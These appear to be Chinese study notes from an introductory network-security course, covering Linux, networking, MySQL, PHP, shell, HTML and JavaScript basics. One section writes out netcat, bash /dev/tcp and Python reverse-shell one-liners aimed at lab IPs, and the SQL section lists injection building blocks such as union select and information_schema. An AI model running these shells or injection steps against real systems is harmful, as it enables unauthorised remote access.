笔记
主要是这段时间的一些笔记总结。
A级别:重要知识点
一、虚拟机:
1.三种网络模式:
桥接
NAT
仅主机模式
二、Linux
1.运行级别:init
- 运行级别0:系统关机状态,系统默认运行级别不能设为0,否则不能正常启动
- 运行级别1:单用户工作状态,root权限,用于系统维护,禁止远程登陆
- 运行级别2:多用户状态(没有NFS)
- 运行级别3:完全的多用户状态(有NFS),登陆后进入控制台命令行模式
- 运行级别4:系统未使用,保留
- 运行级别5:X11控制台,登陆后进入图形GUI模式
- 运行级别6:系统正常关闭并重启,默认运行级别不能设为6,否则不能正常启动
如果需要永久切换运行级别,需要在配置文件中修改
2.Linux目录结构
- /bin:bin是Binary的缩写, 这个目录存放着最经常使用的命令。
- /sbin:s就是Super User的意思,这里存放的是系统管理员使用的系统管理程序。
- /etc:这个目录用来存放所有的系统管理所需要的配置文件和子目录。
- /home:普通用户的主目录
- /root:该目录为系统管理员,也称作超级权限者的用户主目录。
- /tmp:这个目录是用来存放一些临时文件的。(重要主要体现在权限上)
3.常用命令
绝对路径 参照根目录
相对路径 参照当前目录
1 | ./ 当前路径 ../ 上一层路径 |
4.重要系统文件
/etc/passwd
:存储用户信息
/etc/shadow
:存储加密后的密码
/etc/group
: 用户组相关信息
5.vim
三、网络基础
1.IP
IP地址是32位二进制数。
二进制和十进制的转换。
局域网地址:以10、172、192开头的三类地址,主要应用在采用TCP/IP协议互联单位局域网或校园网络内部。 (有可能是,不是一定是)
2.子网掩码
子网掩码的作用是将某个IP地址划分成网络地址和主机地址。必须和IP地址同时使用。
判断两个主机IP是否在一个子网:将两个IP同时和子网掩码进行与运算,如果所得结果相同,则处于同一个子网。
子网掩码1代表网络位,0代表主机位,1和0不能交叉出现。
3.网关
网关(Gateway)就是一个网络连接到另一个网络的“关口”
网关是和其他网络进行通信的出口,如果子网内的主机通信,可以不配置网关。
4. 通信子网和资源子网
功能上将计算机网络逻辑划分为资源子网
和通信子网
。
对于TCP/IP五层协议来说:
其中资源子网为:应用层,传输层。
通信子网为:网络层、数据链路层、物理层。
5.OSI参考模型
OSI七层 |
---|
应用层 |
表示层 |
会话层 |
传输层 |
网络层 |
数据链路层 |
物理层 |
6.TCP/IP参考模型
TCP五层 | 功能 |
---|---|
应用层 | QQ,微信等应用软件 |
传输层 | 封装源端口和目的端口信息 TCP/UDP协议 |
网络层 | 封装源IP和目标IP信息 IP协议 |
数据链路层 | 封装mac地址信息 |
物理层 |
四、数据库
1.分类
关系型数据库和非关系型数据库
关系型数据库:MSSQL 、MySQL 、Access及其他常见数据库均为关系型数据库
2.特点
(1)、Mysql是一种开源免费的数据库产品
(2)、Mysql对PHP的支持是最好(WAMP或者LAMP)
(3). Mysql是一种C/S结构:客户端和服务端
3.数据库连接及退出
1 | mysql.exe/mysql [-h主机地址] [-P端口] -u用户名 -p密码 |
注意事项
- 通常端口都可以默认:mysql坚挺的端口通常都是3306
- 密码的输入可以先输入-p,直接换行,然后再以密文方式输入密码
- 参数和值之间连这些不加空格
退出:
1 | exit; |
4.常见数据库命令
create database
创建数据库
create table
表名(字段名 字段类型 [字段属性], 字段名 字段类型 [字段属性],…) [表选项] 创建数据表
show databases;
显示全部数据库
show tables;
显示全部数据表
show create database
数据库名字; 显示数据库创建语句
show create table
表名; 显示表创建语句
use
数据库名字[;] 选择数据库/进入数据库
drop database
数据库名字; 删除数据库
drop table
表名[,表名2…]; 可以同时删除多个数据表
数据库名.数据表create table
新表名 like
表名 复制表结构(仅仅复制结构不复制数据)
desc
表名; 显示表结构
rename table
旧表名 to
新表名 修改表名
update
表名 set
字段名 = 新值 [where 条件]; 更新数据
select
字段列表/* from
表名 where
字段名 = 值; 查询。*代表所有字段。set names
字符集
5.SQL注入相关重点内容
1.group_concat()
为了将分组中指定的字段进行合并(字符串拼接)
2.order by
排序:根据校对规则对数据进行排序,在SQL注入中用来判断查询字段数。
3.limit 1
限制查询结果返回1条 limit 0,1
限制获取结果为第一条记录,0代表第一条记录开始取,1代表获取的数量是一条
4.联合查询:
语法:select
语句1 union select
语句2;(要求:语句1和语句2查询字段数一样!!!)
5.注释符:
单行注释:
1 | # |
多行注释:/* */
6.information_schema
数据库
三个重点表
1 | schemata 数据库相关信息,show databases就是从这个表中得到的结果,它的重点字段是:schema_name |
五、编程语言类
一、单引号和双引号
- 单引号原样输出
- 双引号可以识别变量和转义。
二、变量名命名规则
变量名由英文字母,数字和下划线构成,首个字符不能以数字开头,中间不能有空格 。
三、数组下标
数组元素的下标由0开始。
四、break和continue
break: 跳出整个循环
continue: 跳出当前循环
五、不同等号的含义
= 赋值运算符,将等号右边的赋值给左边
== 判断左右两边值是否相等
=== 判断左右两边值和类型是否均相等
六、逻辑运算
与运算:两者均为真则结果为真
或运算:两者其一为真,则结果为真。
非运算:本身为真,取非为假,反之本身为假,取非为真。
六、HTML
1.基本框架
1 | <html> |
2.常用标签
需要闭合
1 | <p> 段落 |
七、nc及Linux反弹shell
NC远程控制
正向:
A: nc -lp 333 -c bash
B: nc -nv 192.168.239.140 333
反向:
A: nc -lp 333
B: nc –nv 192.168.239.140 333 -c bash
Linux反弹shell
方式一:
攻击机:nc -lvp 8888
被攻击机:bash -i >& /dev/tcp/192.168.239.140/8888 0>&1
方式二:
攻击机:nc -lvp 8888
被攻击机:
1 | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.239.130',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])" |
八、PHP
1.注释符
单行注释
1 | // |
多行注释
1 | /* ……*/ |
2.语句分隔符
;
3.变量语法规则
声明和使用时都需要加$
4.变量传值
值传递
将变量保存的值复制一份,然后将新的值给另外一个变量保存(两个变量没有关系)
引用传递
将变量保存的值所在的内存地址,传递给另外一个变量:两个变量指向同一块内存空间(两个变量是同一个值)
1 | $新变量 = &$老变量; |
5.选择循环结构
if
1 | if(条件表达式1){ |
条件表达式==和=不相同!!!
switch
1 | switch(条件表达式){ |
for
1 | for(条件表达式1;条件表达式2;条件表达式3){ |
while
1 | while(条件表达式){ |
do while
1 | do{ |
break和continue进阶使用
1 | continue 2; 跳出x层循环,但继续循环 |
6.include和require
四种包含方式区别
include
:出现一次包含一次,如包含不到不影响后面代码执行include_once
:包含前先判断是否曾包含过,如包含过则不重复包含。require
:出现一次包含一次,如包含不到则会报错,终止代码执行require_once
:和include_once相同
语法格式
1 | include ‘文件名字’; |
嵌套包含
包含的时候推荐使用绝对路径
7.函数
语法格式
1 | function 函数名([形参]){ |
调用方式:函数名(实参)
函数的调用可以在函数定义之前
形参和实参
- 形参:函数在定义的时候圆括号中的参数
- 实参:函数在调用的时候传递的实际参数,可以是具体的值也可以是变量。
在PHP中允许实参多于形参(个数):函数内部不用而已
在PHP中理论上形参个数没有限制(实际开发不会太多)
实参不能少于形参个数
默认值
默认值的定义是放在最右边的(多个),不能左边形参有默认值,但是右边没有
引用传值
1 | Function 函数名(形参1,&形参2){ |
调用的时候引用传值形参对应的实参不需要写“&”。
引用传值形参对应的实参必须是变量,不能写具体的值。
返回值
(函数调用处):在PHP中所有的函数都有返回值。(如果没有明确return使用,那么系统默认返回NULL)
return关键字
return在函数内部存在的价值:返回当前函数的结果(当前函数运行结束)
return还可以在文件中直接使用(不在函数里面):代表文件将结果return后面跟的内容,转交给包含当前文件的位置。在文件中也代表中终止文件后面的代码:return之后的内容不会执行。
作用域
$GLOBALS 这是一个超全局变量,在函数内和函数外均可访问,其中全局变量会被存入该数组,可以通过对应的数组下标实现函数内访问外部全局变量。
global 它可以实现函数内访问外部全局变量,也可以外部访问函数内局部变量。它的本质:在函数的内部和外部,对一个同名变量(全局和局部)使用同一块内存地址保存数据,从而实现共同拥有。
基本语法:
- global 变量名; //不能赋值
- 变量名 = 值; //修改
静态变量
函数运行结束所有局部变量都会清空,如果重新运行一下函数,所有的局部变量又会重新初始化。但静态变量会保留之前状态。
可变函数
1 | $变量 = ‘display’; |
匿名函数
基本语法:
1 | 变量名 = function(){ |
8.数组
三种定义方式
- 使用array关键字:最常用的
- $变量 = array(元素1,元素2,元素3..);
- 可以使用中括号来包裹数据:
- $变量 = [元素1,元素2…];
- 隐形定义数组:给变量增加一个中括号,系统自动变成数组
- $变量[] = 值1; //如果不提供下标也可以,系统自动生成(数字:从0开始)
- $变量[下标] = 值; //中括号里面的内容称之为下标key,该下标可以是字母(单词)或者数字,与变量命名的规则相似
数组特点
- 数组元素的顺序以放入顺序为准,跟下标无关
- 数字下标的自增长特性:从0开始自动增长,如果中间手动出现较大的,那么后面的自增长元素从最大的值+1开始
- 当后面的元素下标和前面的相同,会覆盖前面的元素。
foreach遍历数组
1 | foreach($数组变量 as [$下标 =>] $值){ |
9.表单传值
get方式
1)form表单
1 | <form method=”GET”>表单元素</form> |
2)url
1 | www.itcast.cn/index.php?学科=PHP |
post方式
1 | <form method=”POST”>表单元素</form> |
get传输数据可以在URL中对外可见,而post不可见:GET传值最终会在浏览器的地址栏中全部显示:?数据名=数据值&数据名2=数据值2…
接受数据的三种超全局变量
- $_GET方式:接收GET方式提交的数据
- $_POST方式:接收POST方式提交的数据
- $_REQUEST方式:接收POST或者GET提交的所有数据
10.文件上传
1)method属性:表单提交方式必须为POST //$_POST数组中有上传文件内容吗?
2)enctype属性(必须写:form表单属性,主要是规范表单数据的编码方式
上传表单写法
1 | <form method="POST" enctype="multipart/from-data action="upload.php"> |
$_FILES
- name:文件在用户(浏览器端)电脑上实际存在的名字(实际用来保留后缀)
- tmp_name:文件上传到服务器后操作系统保存的临时路径(实际用来给PHP后期使用)
- type:MIME(多功能互联网邮件扩展)类型,用来在计算机中客户端识别文件类型(确定软件)
- error:文件上传的代号,用来告知应用软件(PHP)文件接收过程中出现了什么问题(PHP后期根据代码进行文件判断)
- size:文件大小(PHP根据实际需求来确定是否该保留)
文件上传中用到的两个重要函数
判断是否为上传的文件:is_uploaded_file()
移动文件:move_uploaded_file()
11.PHP操作数据库
重要函数
- mysqli_connect() 函数: 打开一个到 MySQL 服务器的新的连接。
语法
1 | mysqli_connect(host,username,password,dbname,port,socket); |
mysqli_close($conn)中断MySQL服务器的连接
mysqli_query() 函数执行某个针对数据库的查询。
语法
1 | mysqli_query(connection,query,resultmode); |
- mysqli_num_rows()返回结果集中行的数量
语法:
1 | mysqli_num_rows($result); |
- mysqli_fetch_assoc()从结果集中取得一行作为关联数组
- mysqli_fetch_array()从结果集中取得一行作为索引数组或关联数组,或两者兼有
B级别:一般知识点
一、网络安全法
- 违反本法第二十七条规定,受到治安管理处罚的人员,五年内不得从事网络安全管理和网络运营关键岗位的工作;受到刑事处罚的人员,终身不得从事网络安全管理和网络运营关键岗位的工作。
二、虚拟机:
1.做快照
(1)运行状态下做快照
(2)关机状态下做快照
建议虚拟机装好后配置好相应的环境及安装好相应工具后做个快照。
2.做克隆
(1)链接克隆 占用硬盘空间少,建立速度快,但克隆母体删掉或损坏会影响链接克隆。
(2)完全克隆 占用硬盘空间多,建立速度慢,但独立于克隆母体。
三、Linux
1.linux发行版概念
Linux只定义/实现了一个内核。内核必须同命令、守护进程以及其他软件一起打包来组成一个可以使用的完整操作系统,这种打包就是Distribution,中文一般称为发行版本。
2.kali初始设置
以root
登录
sudo passwd root
修改root
密码
重启后以root
身份登录
更新源:vim /etc/apt/sources.list
在末尾加入下列源
1 | #阿里云 |
换完源之后在终端输入:apt-get update && apt-get upgrade && apt-get clean
更新源和更新软件
命令:apt-get update && apt-get upgrade && apt-get clean
Kali2020官方教程中建议使用apt
apt-get update
只更新软件包的索引源,作用是同步源的软件包的索引信息,从而进行软件更新。apt-get upgrade
升级系统上安装的所有软件包,所更新失败,所涉及的包会保持更新之前的状态。apt-get clean
把已安装的软件包的安装包删除掉。
Kali开启ssh
- vim /etc/ssh/sshd_config
(1) 允许root登录 permitrootlogin yes
(2) 允许密码登录 #PasswordAuthentication no
重启ssd服务
/etc/init.d/ssh restart
添加开机启动
update-rc.d ssh enable
或使用systemctl enable ssh
四:数据库
- 按照数据库规模分类
小型关系型数据库:
- Microsoft Access
- SQLite
中型关系型数据库:
- SQL Server
- Mysql
大型关系型数据库:
- Oracle
- DB2
- MySQL发展史
AB公司被Sun公司收购—》Oracle又收购了Sun公司
五、SHELL编程
shell指定解释器:
#!/bin/bash
脚本后缀没要求,但为了让别人知道脚本类型,推荐使用
.sh
作为后缀名运行脚本前需要先赋予可执行权限。
./
文件名运行脚本变量名和等号之间不能有空格
变量声明时不加
$
符号,但使用时需要加$
符号。为了避免歧义,可以把变量名用花括号{ }
括起来。readonly
只读变量,不能改变变量值,不能用unset
删除变量。#
可以用来输出变量长度,1
echo ${#string}
获取文件名和后缀
1
2${string%.*}
${string#*.}# 注释符
运行脚本时可以传递参数,其中
$0
代表文件名,$1…$n
代表第一个…
第n
个参数,$10
及更大的数字需要用花括号把数字括起来。$#
代表传递的参数个数,$*
以及[email protected]
代表显示所有向脚本传递的参数。shell脚本中需要转义,写成`\`
if结构 例如:(注意闭合if,以及结构中执行体内容不能为空)
1
2
3
4
5
6if [[ $a -lt 100 && $b -gt 100 ]]
then
echo "返回 true"
else
echo "返回 false"
fiecho -e “OK! \n” # -e 开启转义
printf可以格式化打印。
while condition
1
2
3do
command
donecase
1
2
3
4
5
6
7
8
9
10
11
12
13
14case 值 in
模式1)
command1
command2
...
commandN
;;
模式2)
command1
command2
...
commandN
;;
esacread 变量名 接收用户输入
六、CSS层叠样式表
1.层叠样式表三种使用方式
内联样式(标签内定义)
内部样式<head>
标签内用<style>
定义
如:
1 | <head> |
外部样式
1 | <head>标签中用<link>定义,外部样式文件以.css结尾 |
七、JavaScript
1.Java
和JavaScript
的关系
两者没关系
2.脚本所在位置
可以和html代码共存,用<script></script>
标签界定代码边界。
3.函数
一、定义语法
1 | function 函数名称() |
二、全局变量和局部变量
局部变量:在函数内定义,只有函数内能访问
全局变量:函数外声明,所有脚本和函数都能访问。
三、变量生命周期
JavaScript 变量的生命期从它们被声明的时间开始。
局部变量会在函数运行以后被删除。
全局变量会在页面关闭后被删除。
四、外部调用JS脚本
- 外部脚本后缀名以.js结尾
- 外部脚本代码中不要再出现
<script>
标签,直接写脚本内容 - 引用方式:
<script src="http://192.168.239.139/myScript.js"></script>
五、输出方式
弹出警告框
使用 window.alert()
弹出警告框。(window.
可以不写,直接写alert
,alert
括号中如果是数字不需要加引号,如果是字符串,需要加引号)
写到HTML文档中
使用 document.write() 方法将内容写到 HTML 文档中。
写到HTML元素中
使用 innerHTML 写入到 HTML 元素。
六、变量
用var声明变量
驼峰命名变量:
大驼峰(每个单词首字母大写,其他字母小写),
小驼峰(第一个单词全部小写,后面单词首字母大写)
七、注释
单行注释://
多行注释:/* */
八、大小写敏感
九、数组
一、定义方式
1: 直接赋值
1 | var names = [“zhangsan", “li", “wangwu"]; |
2:先new再赋值
1 | var cars=new Array(); |
3:new的时候直接赋值
1 | var cars=new Array("Saab","Volvo","BMW"); |
十、对象
一、定义对象:
单行定义:
1 | var person = {firstName:"Bill", lastName:"Gates", age:62, eyeColor:"blue"}; |
多行定义:
1 | var person = { |
二、访问对象属性
1 | person.lastName; |
三、访问对象方法
1 | person.fullName(); |
十一、if选择结构
1 | if (condition1) |
十二、switch选择结构
1 | switch(n) |
十三、for循环
1 | for( i=0;i<cars.length;i++) |
十四、for in遍历
1 | var person={fname:"John",lname:"Doe",age:25}; |
十五、while循环
1 | while (条件) |
十六、do while循环
1 | do |
和前者相比,区别为:当调节不满足,do while
循环也至少会执行一次循环体,while
则一次不执行
十七、dom
DOM
是 Document Object Model
(文档对象模型)的缩写
十八、 访问 HTML 元素(节点)
通过使用 getElementById()
方法
通过使用 getElementsByTagName()
方法
八、PHP
1.删除变量
unset
2.常量定义
- 使用定义常量的函数:define(‘常量名’,常量值);
- 5.3之后才有的:const 常量名 = 值;
3.数据类型
简单(基本)数据类型
整型:int/integer,系统分配4个字节存储,、
浮点型:float/double,系统分配8个字节存储,、
字符串型:string,系统根据实际长度分配,、
布尔类型:bool/boolean,表示布尔类型,只有两个值:true和false
复合数据类型
对象类型:object,存放对象(面向对象)
数组类型:array,存储多个数据(一次性)
特殊数据类型
资源类型:resource,存放资源数据(PHP外部数据,如数据库、文件)
空类型:NULL,只有一个值就是NULL(不能运算)
4.类型转换
自动转换:系统根据需求自己判定,自己转换。
强制(手动)转换:人为根据需要的目标类型转换
强制转换规则:在变量之前增加一个括号(),然后在里面写上对应类型。字符串转数值有自己的规则
- 以字母开头的字符串,永远为0;
- 以数字开头的字符串,取到碰到字符串为止(不会同时包含两个小数点)
1 | settype(变量名,类型):设定数据类型,改变原始数据 |
5.不同进制整数表示
1 | $a = 120; //10进制 |
类型转换函数:
- decbin():十进制转二进制
- decoct():十进制转八进制
- dechex():十进制转十六进制
- bindec():二进制转十进制
6.empty()和isset()
- empty():判断数据的值是否为“空”,不是NULL,如果为空返回true,不为空返回false
- isset():判断数据存储的变量本身是否存在,存在变量返回true,不存在返回false
7.计算机码及位运算
计算机码:原码、反码和补码,数值本身最左边一位是用来充当符号位:正数为0,负数为1
- 原码:数据本身从十进制转换成二进制得到的结果
- 正数:左边符号位为0(正数的原码、反码和补码就是原码本身)
- 负数:左边符号位为1
- 反码:针对负数,符号位不变,其他位取反
- 补码:针对负数,反码+1
位运算:取出计算机中最小的单位(位bit)进行运算
|符号|意义
|–|–|
|&|按位与,两个位都为1,结果为1,否则为0
|||按位或,两个有一个为1,结果为1
|~|按位非,一个位如果为1则变成0,否则反之
|^|按位异或,两个相同则为0,不同则为1
|<<|按位左移,整个位(32位),向左移动一位,右边补0
|>>|按位右移,整个位向右移动一位,左边补符号位对应内容(正数补0,负数补1)
- 注意:
- 系统进行任何位运算的时候都是使用的补码
- 运算结束之后都必须将补码转换成原码才是最终要显示的数据
8.流程控制替代语法
1 | if:if(): endif; |
9.数组
1 | sort():顺序排序(下标重排) |